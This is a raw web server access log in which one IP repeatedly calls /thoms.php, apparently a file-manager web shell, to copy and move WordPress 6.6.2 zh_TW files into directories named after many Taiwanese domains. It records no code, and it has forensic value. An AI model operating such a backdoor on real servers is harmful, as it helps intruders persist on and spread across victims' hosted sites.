45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22284 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-config-sample.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22215 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-trackback.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=betcity.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:20 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17366 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17564 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 20745 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20964 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wp-content-20260912023544 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=wp-content-20260912023544 HTTP/1.1" 200 12539 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wp-content-20260912023544" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=ba-guo.com-20260912023525 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=ba-guo.com-20260912023525 HTTP/1.1" 200 17301 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=ba-guo.com-20260912023525" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=beauty-dental.com.tw HTTP/1.1" 200 17385 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17483 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=broadweb.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=upgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:21 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17381 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13828 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=ba-guo.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16555 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 12538 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bft.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=cgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21153 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19378 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13338 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22210 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bioway88.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13571 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17512 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=bioway88.com.tw HTTP/1.1" 200 17712 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bogroup.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:22 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17366 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17365 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22150 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17361 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17507 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:23 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
